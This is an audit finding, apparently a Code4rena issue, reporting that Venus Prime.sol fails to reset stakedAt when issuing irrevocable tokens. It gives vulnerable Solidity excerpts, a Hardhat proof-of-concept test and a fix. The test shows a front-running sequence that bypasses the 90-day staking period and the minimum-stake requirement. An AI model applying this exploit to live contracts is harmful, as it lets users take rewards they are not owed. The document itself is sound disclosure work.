Lines of code
<https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L331-L359&gt;
<https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L365-L382&gt;
<https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L725-L756&gt;
<https://github.com/code-423n4/2023-09-venus/blob/main/tests/hardhat/Prime/Prime.ts#L294-L301&gt;

Vulnerability details

Impact

When an irrevocable token is burned by the admin, the holder should go through the 90 day staking period again before accruing rewards. However, the holder can exploit the protocol to immediately begin accruing rewards after burning. Furthermore, the minimum stake amount for revocable tokens can be bypassed.

Proof of Concept

All functions and properties referred to are in Prime.sol.

The stakedAt mapping is used to record the timestamp at which a user first stakes the minimum amount of XVS; a Prime token can be claimed after 90 days. Any time a Prime token is minted for a user, the user’s stakedAt timestamp should be set to zero. This ensures that a user will go through the 90 day staking period again before accruing more rewards if the user’s staked amount falls below the minimum staked amount. The claim() function relies on stakedAt timestamps to determine whether or a user has staked the minimum amount for 90 days and is eligible for a Prime token:

    function claim() external { 
        if (stakedAt[msg.sender] == 0) revert IneligibleToClaim();
        if (block.timestamp - stakedAt[msg.sender] < STAKING_PERIOD) revert WaitMoreTime();

        stakedAt[msg.sender] = 0;

        _mint(false, msg.sender);
        _initializeMarkets(msg.sender);
    }

Notice that in the issue() function, the stakedAt of users is set to zero for revocable tokens:

    function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                }

                unchecked {
                    i++;
                }
            }
        } else {
            for (uint256 i = 0; i < users.length; ) {
                _mint(false, users[i]);
                _initializeMarkets(users[i]);
                delete stakedAt[users[i]]; //stakedAt is set to zero when issuing revocable tokens

                unchecked {
                    i++;
                }
            }
        }
    }

However, the stakedAt timestamp is not deleted when issuing irrevocable tokens. This allows the recipient of an irrevocable token to front-run issue() by staking tokens in order to set the stakedAt timestamp to block.timestamp. Note the below function xvsUpdated(), which is called by the XVSVault contract whenever tokens are staked or withdrawn:

    function xvsUpdated(address user) external {
        uint256 totalStaked = _xvsBalanceOfUser(user);
        bool isAccountEligible = isEligible(totalStaked);

        if (tokens[user].exists && !isAccountEligible) {
            if (tokens[user].isIrrevocable) {
                _accrueInterestAndUpdateScore(user);
            } else {
                _burn(user);
            }
        } else if (!isAccountEligible && !tokens[user].exists && stakedAt[user] > 0) {
            stakedAt[user] = 0;
        } else if (stakedAt[user] == 0 && isAccountEligible && !tokens[user].exists) {
            stakedAt[user] = block.timestamp; //This code is executed
        } else if (tokens[user].exists && isAccountEligible) {
            _accrueInterestAndUpdateScore(user);
        }
    }

(Note that if the user is already staked, the user’s stakedAt can still be set to block.timestamp by withdrawing tokens below the minimum before staking. Since the user is being issued a token, they will not lose any reward accruing time.)
The user keeps the block.timestamp set in the frontrunning transaction after receiving their irrevocable token. Now, note that _burn() does not alter stakedAt:

    function _burn(address user) internal {
        if (!tokens[user].exists) revert UserHasNoPrimeToken();

        address[] storage _allMarkets = allMarkets;

        for (uint256 i = 0; i < _allMarkets.length; ) {
            _executeBoost(user, _allMarkets[i]);

            markets[_allMarkets[i]].sumOfMembersScore =
                markets[_allMarkets[i]].sumOfMembersScore -
                interests[_allMarkets[i]][user].score;
            interests[_allMarkets[i]][user].score = 0;
            interests[_allMarkets[i]][user].rewardIndex = 0;

            unchecked {
                i++;
            }
        }

        if (tokens[user].isIrrevocable) {
            totalIrrevocable--;
        } else {
            totalRevocable--;
        }

        tokens[user].exists = false;
        tokens[user].isIrrevocable = false;

        _updateRoundAfterTokenBurned(user);

        emit Burn(user);
    }

Thus if 90 days have passed since the frontrunning transaction and the irrevocable token is burned by the contract admin, the user can instantly claim an irrevocable token and not lose any reward accrual. claim() will not negatively affect the user’s reward accrual, since it simply mints a token for the user and updates the user’s score.

This is clearly not the intended behavior; for example, if a non-malicious user already possesses a revocable token, is upgraded to an irrevocable token, and is then burned by the contract admin, the result is that the user must go through another 90-day staking period before accruing more rewards. This is because the user’s stakedAt timestamp was set to zero when claiming the revocable token.

Finally, because checking for minimum staked XVS is only done in xvsUpdated(), this exploit allows the user to possess a revocable token and accrue and claim rewards while bypassing the minimum XVS staked requirement.

Test

Paste and run the below test in the ‘mint and burn’ scenario in Prime.ts (line 302)

    it("instant_mint", async () => { //irrevocable token issue, fix is to handle issue logic (add the stakedAt delete) and upgrading logic separately?
      const user = user1;
      //frontrun issuance of irrevocable token
      await xvs.connect(user).approve(xvsVault.address, bigNumber18.mul(1000));
      await xvsVault.connect(user).deposit(xvs.address, 0, bigNumber18.mul(1000));
      //issue irrevocable token
      await prime.issue(true, [user.getAddress()]);
      //withdraw to demonstrate that the user can mint a revocable token with an arbitrarily small staked balance, including 0.
      await xvsVault.connect(user).requestWithdrawal(xvs.address, 0, bigNumber18.mul(999)); 
      //check that user has token
      let token = await prime.tokens(user.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(true);
      //if 90 days have passed from the frontrun deposit then the user can immediately claim a revocable token after being burned, regardless of staked balance.
      await mine(90 * 24 * 60 * 60);
      //burn the irrevocable token
      await prime.burn(user.getAddress());
      //check that user's token is burned
      token = await prime.tokens(user.getAddress());
      expect(token.exists).to.be.equal(false);
      expect(token.isIrrevocable).to.be.equal(false);
      //immediately claim revocable token
      await prime.connect(user).claim();
      //check that user has revocable token
      token = await prime.tokens(user.getAddress());
      expect(token.exists).to.be.equal(true);
      expect(token.isIrrevocable).to.be.equal(false);
      //check that user's staked balance is under the allowed limit
      let [balance,,pendingWithdrawals] = await xvsVault.getUserInfo(xvs.address,0,user.getAddress());
      let stakedAmount = balance - pendingWithdrawals;
      console.log(stakedAmount); //1e18
      expect(stakedAmount < prime.MINIMUM_STAKED_XVS);
    });

Tools Used

Hardhat

Recommended Mitigation Steps

Issuing an irrevocable token should set user stakedAt timestamps to zero:

    function issue(bool isIrrevocable, address[] calldata users) external {
        _checkAccessAllowed("issue(bool,address[])");

        if (isIrrevocable) {
            for (uint256 i = 0; i < users.length; ) {
                Token storage userToken = tokens[users[i]];
                if (userToken.exists && !userToken.isIrrevocable) {
                    _upgrade(users[i]);
                } else {
+                   delete stakedAt[users[i]];
                    _mint(true, users[i]);
                    _initializeMarkets(users[i]);
                }
                ...

Assessed type

Other

---

The text was updated successfully, but these errors were encountered:

All reactions